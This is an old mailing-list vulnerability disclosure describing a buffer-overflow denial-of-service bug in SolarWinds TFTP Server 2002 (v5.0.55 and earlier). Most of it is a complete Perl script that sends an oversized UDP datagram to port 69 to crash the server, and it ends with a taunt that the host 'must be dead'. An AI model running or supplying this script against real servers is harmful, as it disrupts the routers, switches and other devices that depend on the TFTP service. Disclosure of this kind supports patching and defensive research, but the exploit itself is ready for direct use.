Date: Thu, 24 Oct 2002 20:14:03 +0400
From: D4rkGr3y <[email protected]>
To: [email protected], [email protected],
Subject: TFTP Server DoS
#############################################
#Product: TFTP Server 2002 Standard Edition #
#Authors: SolarWinds [www.SolarWinds.net] #
#Vulnerable versions: v.5.0.55 and bellow #
#Vulnerability: buffer overflow #
#Bug&exploit by D4rkGr3y [www.dhgroup.org] #
#############################################
#Overview#--------------------------------------------------------------#
>From TFTP Server help:
"Many network devices require a TFTP Server to load their initial
operating system or configuration. Many routers, switches, hubs,
X-terminals, printers, terminal servers, etc need a TFTP server
in order to load their initial configuration".
#Description#------------------------------------------------------------#
First, TFTP - Trivial File Transfer Protocol. This is not FTP! TFTP and
FTP are different protocols - it's very important! TFTP uses UDP protocol
for it's work and it doesn't support some FTP's stuff. Directory travel
for example. U can use TFTP for file transfer only. Read RFC 1350 for
more details.
#Bug#--------------------------------------------------------------------#
It's possible to crash TFTP server using UDP datagram with a large size
(8193b and above). Vulnerable application on remote host will be closed
with error message:
Run-time error '10040':
The datagram is too large to fit into the buffer and is truncated.
#Exploit#----------------------------------------------------------------#
#!/usr/bin/perl
#TFTP Server remote DoS exploit by D4rkGr3y
use IO::Socket;
$host = "vulnerable_host";
$port = "69";
$data = "q";
$num = "8193";
$buf .= $data x $num;
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
$ipaddr = inet_aton($host);
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Now, '$host' must be dead :)\n";
#EOF
Best regards www.dhgroup.org
D4rkGr3y icq 540981